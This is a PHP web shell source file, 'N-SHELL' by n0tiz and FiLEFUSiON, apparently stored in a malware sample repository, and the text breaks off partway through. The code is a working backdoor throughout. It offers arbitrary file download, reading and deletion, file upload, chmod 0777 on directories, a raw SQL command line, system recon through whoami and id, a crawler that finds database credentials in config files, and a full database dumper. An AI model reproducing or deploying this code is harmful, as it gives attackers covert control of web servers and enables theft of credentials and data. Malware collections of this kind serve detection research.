Repository navigation
Expand file tree
/
Copy pathBackdoor.PHP.NotFilefusion
More file actions
1464 lines (1440 loc) · 57.1 KB
/
Copy pathBackdoor.PHP.NotFilefusion
File metadata and controls
1464 lines (1440 loc) · 57.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?PHP
@session_regenerate_id();
if ($_GET['dow']) { // files via ftp editor downloaden
@header("Content-type: application/octet-stream");
@header("Content-Disposition: attachment; filename=" . $_GET['dow']);
$file = readfile($_GET['dow']);
exit();
}
?>
<script type="text/javascript">
<!--
var win=null;
function NewWindow(mypage,myname,w,h,pos,infocus){
if(pos=="random"){myleft=(screen.width)?Math.floor(Math.random()*(screen.width-w)):100;mytop=(screen.height)?Math.floor(Math.random()*((screen.height-h)-75)):100;}
if(pos=="center"){myleft=(screen.width)?(screen.width-w)/2:100;mytop=(screen.height)?(screen.height-h)/2:100;}
else if((pos!='center' && pos!="random") || pos==null){myleft=0;mytop=20}
settings="width=" + w + ",height=" + h + ",top=" + mytop + ",left=" + myleft + ",scrollbars=yes,location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=no";win=window.open(mypage,myname,settings);
win.focus();}
// -->
</script>
<?PHP
if ($_GET['2'] == '1') {
phpinfo();
} else {
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
if (version_compare(phpversion(), '4.1.0') == -1) {
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc()) {
foreach ($_POST AS $k => $v){
$_POST[$k] = stripslashes($v);
}
}
$exit = explode(".txt?",$_SERVER['REQUEST_URI']);
if ($exit[0] != $_SERVER['REQUEST_URI']) {
if (isset($_GET)) {
$url_z = $_SERVER['REQUEST_URI'];
$rl = explode(".txt?",$url_z);
$url = $rl[0] . ".txt?&";
$pmaurl = explode("/",strrev($_SERVER['REQUEST_URI']));
$pmaurll = strrev($pmaurl[0]);
$file = explode("&x_pwned=pma",$pmaurll);
$pmaurl_final = $file[0] . "&x_pwned=pma";
}
} else {
$url_z = $_SERVER['REQUEST_URI'];
$rl = explode(".php",$url_z);
$url = $rl[0] . ".php?";
$pmaurl = explode("/",strrev($_SERVER['REQUEST_URI']));
$pmaurll = strrev($pmaurl[0]);
$file = explode("&x_pwned=pma",$pmaurll);
$pmaurl_final = $file[0] . "&x_pwned=pma";
}
if ($_GET['x_pwned'] == 'pma') {
$surl_z = $_SERVER['REQUEST_URI'];
$srl = explode(".txt?",$url_z);
$surl = $srl[0] . ".txt?&x_pwned=pma&";
}
echo "<html><head>";
echo "<title>==//N-SHEL\\\== by n0tiz and FiLEFUSiON</title>";
echo "
<style type='text/css'>
body {
background:#000000;
}
input {
color: #736F6E;
border: 1px solid #736F6E;
background: #000000;
}
textarea {
color: #736F6E;
border: 1px solid #736F6E;
background: #000000;
}
select {
color: #736F6E;
border: 1px solid #736F6E;
background: #000000;
}
td.serverinfopwned {
background:#191919;
height:130;
width:40%;
color:#595353;
text-align:left;
font-size:9pt;
padding-left:10px;
padding-right:10px;
}
td.headerpwned {
background:#191919;
height:130;
width:60%;
color:#850A0A;
text-align:center;
font-size:10pt;
font-weight:bold;
padding-left:10px;
padding-right:10px;
}
td.copyrightpwned {
background:#191919;
height:20;
width:100%;
color:#595353;
text-align:center;
font-size:9pt;
padding-left:10px;
padding-right:10px;
}
td.contentpwned {
background:#191919;
height:549;
width:100%;
color:#595353;
text-align:left;
font-size:9pt;
padding-left:10px;
padding-right:10px;
padding-top:10px;
padding-bottom:10px;
}
td.navigatiepwned {
background:#191919;
height:20;
width:100%;
color:#850A0A;
text-align:center;
font-size:9pt;
letter-spacing:2px;
padding-left:10px;
padding-right:10px;
}
a.navigatiepwned {
color:#850A0A;
letter-spacing:1px;
text-decoration:none;
}
a.navigatiepwned:visited {
color:#850A0A;
text-decoration:none;
}
a.navigatiepwned:hover {
color:#595353;
text-decoration:underline;
}
a.navigatiepwned:active {
color:#850A0A;
text-decoration:none;
}
a {
color:#595353;
text-decoration:none;
}
a:visited {
color:#595353;
text-decoration:none;
}
a:hover {
color:#595353;
text-decoration:underline;
}
a:active {
color:#595353;
text-decoration:none;
}
td {
color:#595353;
font-size:9pt;
}
</style>
";
$uname = php_uname();
$curuser = exec('whoami');
echo "</head><body>";
echo "<div align='center' width='100%'><table cellspacing='5' width='800'><tr><td class='serverinfopwned' valign='top'>";
echo "<font color='#850A0A'><b>Serverinfo</b></font><br/>";
echo "Safe Mode: <b>";
if($safe_mode == 1){
echo "ON";
} else {
echo "OFF";
}
echo "</b>";
echo "<br />PHP Version: <b>".phpversion()."</b>";
echo "<br />";
echo "</b>";
echo "Shell Directory: <b>".getcwd()."</b><br />";
echo("Uname: <b>" . $uname . "</b><br>");
echo("Current User:<b> " . $curuser . "</b><br>");
echo("ID:<b>" . @exec('id') . "</b><br>");
echo "Date: <b>";
$vandaag = getdate();
$maand = $vandaag['month'];
$mdag = $vandaag['mday'];
$jaar = $vandaag['year'];
echo $mdag . " , " . $maand . " , " . $jaar;
echo "</b><br />";
echo "Your IP: <b>";
if (getenv(HTTP_X_FORWARDED_FOR)) {
echo getenv(HTTP_X_FORWARDED_FOR);
} else {
echo getenv(REMOTE_ADDR);
}
echo "</b><br />";
echo "Server IP: <b>";
echo getenv("SERVER_ADDR");
echo "</b><br />";
echo "Server OS: <b>";
echo php_uname("s");
echo "</b>";
echo "</td><td class='headerpwned'><pre> _______ _________.__ .__ .__
\ \ / _____/| |__ ____ | | | |
/ | \ ______ \_____ \ | | \_/ __ \| | | |
/ | \ /_____/ / \| Y \ ___/| |_| |__
\____|__ / /_______ /|___| /\___ >____/____/
\/ \/ \/ \/ </pre>";
echo "</tr><tr><td class='navigatiepwned' colspan='3' valign='top'>";
echo "<a href='" . $url . "x_pwned=home' class='navigatiepwned'>Home</a> | <a href='" . $url . "x_pwned=sql' class='navigatiepwned'>SQL commandline</a> | <a href='" . $url . "x_pwned=ftp' class='navigatiepwned'>FTP editor</a> | <a href='" . $url . "x_pwned=scf' class='navigatiepwned'>SQL connection finder</a> | <a href='" . $url . "x_pwned=exec' class='navigatiepwned'>PHP executer</a> | <a href='" . $url . "x_pwned=pma' class='navigatiepwned'>phpmyadmin</a> | <a href='" . $url . "x_pwned=cmd' class='navigatiepwned'>CMD</a> | <a href=\"javascript:NewWindow('" . $_SERVER['REQUEST_URI'] . "&2=1','PHPinfo()','900','500','custom','front');\" class='navigatiepwned'>PHPinfo();</a>";
echo "</td></tr><tr><td class='contentpwned' colspan='3' valign='top'>";
if ($_GET['x_pwned'] == 'sql') { // sql-commando-lijn
echo "<div align='center'>";
if(!(@mysql_connect($_SESSION['host'],$_SESSION['user'],$_SESSION['pass']) && @mysql_select_db($_SESSION['data']))) { // sql connectie met sessies
if (isset($_POST['connect'])) {
if (empty ($_POST['host']) OR empty ($_POST['user']) OR empty ($_POST['pass']) OR empty ($_POST['data'])) {
echo "<font color='red'>Kon geen connectie maken.</font>";
} else {
$_SESSION['host'] = $_POST['host'];
$_SESSION['user'] = $_POST['user'];
$_SESSION['pass'] = $_POST['pass'];
$_SESSION['data'] = $_POST['data'];
echo "<font color='green'>Database-connectie gelukt.</font>";
echo "<meta http-equiv=Refresh content=1;url=" . $_PHP['SELF'] .">";
}
}
echo '
<form method="POST" action="' . $_PHP['SELF'] . '">
Host: <input type="text" name="host"><br />
User: <input type="text" name="user"><br />
Pass: <input type="text" name="pass"><br />
Data: <input type="text" name="data"><br />
<input type="submit" name="connect" value="Connect database !">
</form>
';
} else if (mysql_connect($_SESSION['host'],$_SESSION['user'],$_SESSION['pass']) && @mysql_select_db($_SESSION['data'])) {
if (isset($_POST['submit'])) {
if (mysql_query("{$_POST['command']}")) {
echo "<p><br /></p><font color=green>".$_POST['command']."</font><br />is succesvol uitgevoerd.<p><br /></p>";
} else {
echo "<font color=red>Commando kon niet uitgevoerd worden.</font>";
}
echo "<p><br /></p>";
}
echo "<form method='POST'>Command: <input name='command' type='text' size='50'><input name='submit' type='submit' value='Send command !'></form><p><br /></p></div>";
}
} else if ($_GET['x_pwned'] == 'ftp') { // file editor, map browser, ...
/*if (isset($_GET['map'])) {
$map = $_GET['map'];
} else {
$map = ".";
}*/
echo "<div align='left'>";
/*if ($handle = opendir($map)) {
while (false !== ($file = readdir($handle))) {
$index = explode("?",$_SERVER['REQUEST_URI']);
$files = explode(".",$file);
if ($files[1] == "") {
if (isset($_GET['map'])) {
$mp = $_GET['map'] . "/" . $file;
} else {
$mp = $file;
}
echo "<a href='" . $index[0] . "?x_pwned=ftp&map=" . $mp . "'>" . $file . "</a><br />";
} else {
echo "<a href='" . $index[0] . "?x_pwned=ftp&file=" . $file . "'>" . $file . "</a><br />";
}
}
closedir($handle);
}*/
function dec_str($line, $len) {
if (strlen($line) > $len) {
$afgekort = substr($line, 0, $len) . "...";
} else {
$afgekort = $line;
}
return $afgekort;
}
function getalcheck($iGetal) {
$iNum = ($iGetal / 2);
$aNum = explode('.', $iNum);
if($aNum[1] == 5) {
$iEven = 0;
} else {
$iEven = 1;
}
return $iEven;
}
echo '<table cellpadding="0" cellpadding="0" width="100%" height="100%"><tr><td colspan="6" width="100%">';
if(!$_GET['map']){
echo '<table cellpadding="0" cellpadding="0" width="100%"><tr><td align="left"><b>root</b></td></tr></table></td></tr>';
} else {
echo '<table cellpadding="0" cellpadding="0" width="100%"><tr><td align="left" width="50%"><b>' . $_GET['map'] . '</b></td><td align="left" width="50%"><a href="' . $url . 'x_pwned=ftp&map=' . $_GET['v']. '">Terug</a></td></tr></table></td></tr>';
}
echo '<tr><td width="30" valign="top"></td><td width="370" valign="top">';
if($_GET['map']){
echo '<table cellspacing="0" cellpadding="0" width="100%">';
$map = $_GET['map'] . "*";
$files = glob($map);
if(!$files){
echo "<tr><td colspan='5'><font color='red'>Geen bestanden in deze map!</font></td></tr>";
} else {
foreach ($files as $f) {
$f = ereg_replace($_GET['map'], "", $f);
echo '<tr>';
$extensie = explode(".", $f);
if(strlen($extensie[1]) > 0){
// Geen bestanden laten zien he!
} else {
chmod($_GET['map'] . $f . "/", 0777);
if (is_writable($_GET['map'] . $f . "/")) {
$font = "<font color=green>";
$font_eind = "</font>";
}
echo '<td width="35"><b>map</b></td>';
echo '<td><a href="' . $url . 'x_pwned=ftp&map=' . $_GET['map'] . $f . '/&v=' . $_GET['map'] . '">' . $font . dec_str($f, 35) . $font_eind . '</a></td><td align="right" width="100"><a href="' . $url . 'x_pwned=ftp&map=' . $_GET['map'] . '&ver=' . $_GET['map'] . $f . '/">[v]</a></td>';
$bg++;
}
echo '</tr>';
}
$map = $_GET['map'] . "*";
$files = glob($map);
foreach($files as $f){
echo '<tr>';
$f2 = ereg_replace($_GET['map'], "", $f);
$extensie = explode(".", $f);
chmod($_GET['map'] . $f2, 0777);
if(strlen($extensie[1]) > 2){
echo '<td width="35"><i>file</i></td>';
echo '<td>' . dec_str($f2, 35) . '</td><td align="right" width="100"><a href="' . $url . 'x_pwned=ftp&map=' . $_GET['map'] . '&dow=' . $f . '">[d]</a> - <a href="' . $url . 'x_pwned=ftp&map=' . $_GET['map'] . '&bew=' . $f2 . '">[b]</a> - <a href="' . $url . 'x_pwned=ftp&map=' . $_GET['map'] . '&ver=' . $f . '/">[v]</a></td>';
}else{
// Geen bestanden laten zien he!
}
echo '</tr>';
}
}
echo "</table>";
} else {
echo '<table cellspacing="0" cellpadding="0" width="100%">';
$files = glob("*");
foreach($files as $f){
echo '<tr>';
$extensie = explode(".", $f);
if(strlen($extensie[1]) > 0){
// Geen bestanden laten zien he!
} else {
chmod($f . "/", 0777);
if (is_writable($f . "/")) {
$font = "<font color=green>";
$font_eind = "</font>";
}
echo '<td width="35"><b>map</b></td>';
echo '<td><a href="' . $url . 'x_pwned=ftp&map=' . $f . '/&v=">' . $font . dec_str($f, 35) . $font_eind . '</a></td><td align="right" width="100"><a href="' . $url . 'x_pwned=ftp&map=' . $_GET['map'] . '&ver=' . $f . '/&v=">[v]</a></td>';
$bg++;
}
echo '</tr>';
}
$files = glob("*.*");
foreach($files as $f){
echo '<tr>';
$extensie = explode(".", $f);
if(strlen($extensie[1]) > 2){
chmod($f, 0777);
echo '<td width="35"><i>file</i></td>';
echo '<td>' . dec_str($f, 35) . '</td><td align="right" width="100"><a href="' . $url . 'x_pwned=ftp&map=' . $_GET['map'] . '&dow=' . $f . '&v=">[d]</a> - <a href="' . $url . 'x_pwned=ftp&map=' . $_GET['map'] . '&bew=' . $f . '&v=">[b]</a> - <a href="' . $url . 'x_pwned=ftp&map=' . $_GET['map'] . '&ver=' . $f . '/&v=">[v]</a></td>';
} else {
// Geen bestanden laten zien he!
}
echo '</tr>';
}
echo "</table>";
}
echo "</td><td width='400' valign='top' align='center'>";
if (isset($_GET['ver'])) { // files verwijderen
$file_delete = $_GET['ver'];
if (@unlink($file_delete) OR @rmdir($file_delete)) {
echo "<font color='green'>" . dec_str($file_delete, 35) . " is succesvol verwijderd.</font>";
} else {
echo "<font color='red'>" . dec_str($file_delete, 35) . " kon niet verwijderd worden.</font>";
}
} else if (isset($_GET['bew'])) { // nu: files bekijken; later: files bekijken/bewerken
function File_Scan($dir) {
$handle=opendir($dir);
while(($file=readdir($handle))!==FALSE) {
$point = $dir . $file;
if($file == $_GET['bew']){
$myFile = $point;
$fh = fopen($myFile, 'r');
$theData = fread($fh, filesize($myFile));
fclose($fh);
$ext = explode(".",$_GET['bew']);
if ($ext[1] == 'jpg' OR $ext[1] == 'png' OR $ext[1] == 'jpeg' OR $ext[1] == 'gif' OR $ext[1] == 'bmp') {
echo $_GET['bew'] . "<br />";
echo "<img src='" . $dir . $_GET['bew'] . "'>";
} else {
echo "<center>";
echo $_GET['bew'] . "<br />";
echo '<textarea rows="25" cols="40">';
echo htmlspecialchars($theData);
echo '</textarea>';
echo "</center>";
}
}
}
}
if ($_GET['map']) {
$dir = "./" . $_GET['map'];
} else {
$dir = "./";
}
File_Scan($dir);
} else { // files uploaden
if ($_POST['loadup']) {
if ($_GET['map']) {
$uploaddir = $_GET['map'];
} else {
$uploaddir = '';
}
$uploadfile = $uploaddir . $_FILES['upfile']['name'];
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadfile)) {
echo "<font color='green'>File upload is gelukt.</font>";
} else {
echo "<font color='red'>File upload mislukt.</font>";
}
}
echo '<form enctype="multipart/form-data" action="' . $_PHP['SELF'] . '" method="post">';
echo 'File:<input name="upfile" type="file"><input name="loadup" type="submit" value="Upload">';
echo '</form><br /><br />';
// createdir
if ($_POST['dir']) {
if ($_GET['map']) {
$dirbefore = $_GET['map'];
} else {
$dirbefore = "./";
}
$totaldir = $dirbefore . $_POST['dirname'];
if (mkdir($totaldir, 0777)) {
echo "<font color='green'>De map is succesvol aangemaakt.</font>";
} else {
echo "<font color='red'>Het aanmaken van de map is mislukt.</font>";
}
}
echo '<form action="' . $_PHP['SELF'] . '" method="post">';
echo 'Dirname:<input name="dirname" type="text" size="28"><input name="dir" type="submit" value="Make Dir">';
echo '</form>';
}
echo "</td></tr></table>";
echo "</div>";
} else if($_GET['x_pwned'] == 'scf') { // config finder
echo "<div align='center'>";
// script zoekt naar files die string mysql_select_db bevatten zodat je in de SQL commandline kunt inloggen met de db gegevens
function scf($map) {
$handle = opendir($map);
while (false!==($file = readdir($handle))) {
if ($file != "." AND $file != "..") {
$file_map=$map."/".$file;
$extensie = explode(".", $file);
if ($extensie[1] == "php") {
$file2 = file_get_contents($file_map);
if(ereg("mysql_select_db",$file2) OR ereg("mysql_connect",$file2)) {
echo $file_map . "<br />";
$myFile = $file_map;
$fh = fopen($myFile, 'r');
$theData = fread($fh, filesize($myFile));
fclose($fh);
echo '<textarea rows="13" cols="80">';
echo htmlspecialchars($theData);
echo '</textarea><br /><br />';
}
}
if(is_dir($file_map))
scf($file_map);
}
}
}
$map = ".";
scf($map);
echo "</div>";
} else if ($_GET['x_pwned'] == 'pma') { // phpmyadmin
// de functies die nodig zijn voor de phpmyadmin
function view_size($size) {
if (!is_numeric($size)) {
return FALSE;
} else {
if ($size >= 1073741824) {
$size = round($size/1073741824*100)/100 ." GB";
} elseif ($size >= 1048576) {
$size = round($size/1048576*100)/100 ." MB";
} elseif ($size >= 1024) {
$size = round($size/1024*100)/100 ." KB";
} else {
$size = $size . " B";
}
return $size;
}
}
function mysql_dump($set) {
global $shver;
$sock = $set["sock"];
$db = $set["db"];
$echo = $set["echo"];
$nl2br = $set["nl2br"];
$file = $set["file"];
$add_drop = $set["add_drop"];
$tabs = $set["tabs"];
$onlytabs = $set["onlytabs"];
$ret = array();
$ret["err"] = array();
if (!is_resource($sock)) {
echo("Error: \$sock is not valid resource.");
}
if (empty($db)) {
$db = "db";
}
if (empty($echo)) {
$echo = 0;
}
if (empty($nl2br)) {
$nl2br = 0;
}
if (empty($add_drop)) {
$add_drop = TRUE;
}
if (empty($file)) {
$file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db.".sql";
}
if (!is_array($tabs)) {
$tabs = array();
}
if (empty($add_drop)) {
$add_drop = TRUE;
}
if (sizeof($tabs) == 0) {
// retrive tables-list
$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_row($res)) {
$tabs[] = $row[0];
}
}
}
$out = "
# Dumped by N-SHELL.SQL
# Homepage: n0tiz.be and hackers-project.info
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
$c = count($onlytabs);
foreach($tabs as $tab) {
if ((in_array($tab,$onlytabs)) or (!$c)) {
if ($add_drop) {
$out .= "DROP TABLE IF EXISTS `".$tab."`;";
}
$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
if (!$res) {
$ret["err"][] = mysql_smarterror();
} else {
$row = mysql_fetch_row($res);
$out .= $row["1"].";";
$res = mysql_query("SELECT * FROM `$tab`", $sock);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {
$values[$k] = addslashes($v);
}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');";
$out .= $sql;
}
}
}
}
}
$out .= "
#---------------------------------------------------------
";
if ($file) {
$fp = fopen($file, "w");
if (!$fp) {
$ret["err"][] = 2;
} else {
fwrite ($fp, nl2br($out));
fclose ($fp);
}
}
if ($echo) {
if ($nl2br) {
echo nl2br($out);
} else {
echo nl2br($out);
}
}
return $out;
}
function mysql_buildwhere($array,$sep=" and",$functs=array()) {
if (!is_array($array)) {
$array = array();
}
$result = "";
foreach($array as $k=>$v) {
$value = "";
if (!empty($functs[$k])) {
$value .= $functs[$k]."(";
}
$value .= "'".addslashes($v)."'";
if (!empty($functs[$k])) {
$value .= ")";
}
$result .= "`".$k."` = ".$value.$sep;
}
$result = substr($result,0,strlen($result)-strlen($sep));
return $result;
}
function mysql_fetch_all($query,$sock) {
if ($sock) {
$result = mysql_query($query,$sock);
} else {
$result = mysql_query($query);
}
$array = array();
while ($row = mysql_fetch_array($result)) {
$array[] = $row;
}
mysql_free_result($result);
return $array;
}
function mysql_smarterror($type,$sock) {
if ($sock) {
$error = mysql_error($sock);
} else {
$error = mysql_error();
}
$error = htmlspecialchars($error);
return $error;
}
function mysql_query_form() {
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {
if (!$sql_query_error) {
$sql_query_error = "Query was empty";
}
echo "<b>Error:</b> <br />".$sql_query_error."<br />";
}
if ($sql_query_result or (!$sql_confirm)) {
$sql_act = $sql_goto;
}
if ((!$submit) or ($sql_act)) {
echo "<table border=0><tr><td><form name='n-shellsh_sqlquery' method=POST><b>";
if (($sql_query) and (!$submit)) {
echo "Do you really want to";
} else {
echo "SQL-Query";
}
echo ":</b><br /><br /><textarea name=sql_query cols=80 rows=10>".htmlspecialchars($sql_query)."</textarea><br /><br /><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value='".htmlspecialchars($sql_tbl)."'><input type=hidden name=submit value='1'><input type=hidden name='sql_goto' value='".htmlspecialchars($sql_goto)."'><input type=submit name=sql_confirm value='Yes'> <input type=submit value='No'></form></td>";
if ($tbl_struct) {
echo "<td valign='top'><b>Fields:</b><br />";
foreach ($tbl_struct as $field) {
$name = $field["Field"];
echo "?<a href='#' onclick='document.n-shellsh_sqlquery.sql_query.value+='`".$name."`';'><b>".$name."</b></a><br />";
}
echo "</td></tr></table>";
}
}
if ($sql_query_result or (!$sql_confirm)) {
$sql_query = $sql_last_query;
}
}
function mysql_create_db($db,$sock="") {
$sql = "CREATE DATABASE `".addslashes($db)."`;";
if ($sock) {
return mysql_query($sql,$sock);
} else {
return mysql_query($sql);
}
}
function mysql_query_parse($query) {
$query = trim($query);
$arr = explode (" ",$query);
$types = array(
"SELECT"=>array(3,1),
"SHOW"=>array(2,1),
"DELETE"=>array(1),
"DROP"=>array(1)
);
$result = array();
$op = strtoupper($arr[0]);
if (is_array($types[$op])) {
$result["propertions"] = $types[$op];
$result["query"] = $query;
if ($types[$op] == 2) {
foreach($arr as $k=>$v) {
if (strtoupper($v) == "LIMIT") {
$result["limit"] = $arr[$k+1];
$result["limit"] = explode(",",$result["limit"]);
if (count($result["limit"]) == 1) {
$result["limit"] = array(0,$result["limit"][0]);
}
unset($arr[$k],$arr[$k+1]);
}
}
}
} else {
return FALSE;
}
}
// einde functies phpmyadmin
// Sending headers
@ob_start();
@ob_implicit_flush(0);
$sort = htmlspecialchars($sort);
if (empty($sort)) {
$sort = $sort_default;
}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {
$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();
}
// einde sending headers
//Starting calls
function getmicrotime() {
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {
if (!function_exists("strips")) {
function strips(&$arr,$k="") {
if (is_array($arr)) {
foreach($arr as $k=>$v) {
if (strtoupper($k) != "GLOBALS") {
strips($arr["$k"]);
}
}
} else {
$arr = stripslashes($arr);
}
}
}
strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {
if (!isset($$k)) {
$$k = $v;
}
}
//CONFIGURATION AND SETTINGS
if (!empty($unset_nurl)) {
setcookie("n-shell_nurl");
$nurl = "";
} elseif (!empty($set_nurl)) {
$nurl = $set_nurl;
setcookie("n-shell_nurl",$nurl);
} else {
$nurl = $_REQUEST["n-shell_nurl"]; //Set this cookie for manual nurl
}
$nurl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in nurl.
if ($nurl_autofill_include and !$_REQUEST["n-shell_nurl"]) {
$include = "&";
foreach (explode("&",getenv("QUERY_STRING")) as $v) {
$v = explode("=",$v);
$name = urldecode($v[0]);
$value = urldecode($v[1]);
foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
if (strpos($value,$needle) === 0) {
$includestr .= urlencode($name)."=".urlencode($value)."&";
}
}
}
if ($_REQUEST["nurl_autofill_include"]) {
$includestr .= "nurl_autofill_include=1&";
}
}
if (empty($nurl)){
$nurl = "?".$includestr; //Self url
}
$nurl = htmlspecialchars($nurl) . "x_pwned=pma&";
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
$sess_cookie = "n-shellshvars"; // Cookie-variable name
@$f = $_REQUEST["f"];
@extract($_REQUEST["n-shellshcook"]);
//END CONFIGURATION
echo "<div align='center'>";
// phpmyadmin
echo "<table width='100%' height='100%'><tr><td width='100%' valign='top'>";
$sql_surl = $surl;
if ($sql_login) {
$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);
}
if ($sql_passwd) {
$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);
}
if ($sql_server) {
$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);
}
if ($sql_port) {
$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);
}
if ($sql_db) {
$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);
}
$sql_surl .= "&";
echo '<table width="100%"><tr><td width="100%" colspan="2" valign="top" align="center">';
if ($sql_server) {
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_smarterror();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {
$sql_query_result = mysql_query($sql_query,$sql_sock);
$sql_query_error = mysql_smarterror();
}
} else {
$sql_sock = FALSE;
}
if (!$sql_sock) {
if (!$sql_server) {
echo "Geen connectie";
} else {
echo "<font color='red'>Kan geen connectie maken.</font>";
echo $err;
}
} else {
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl."sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
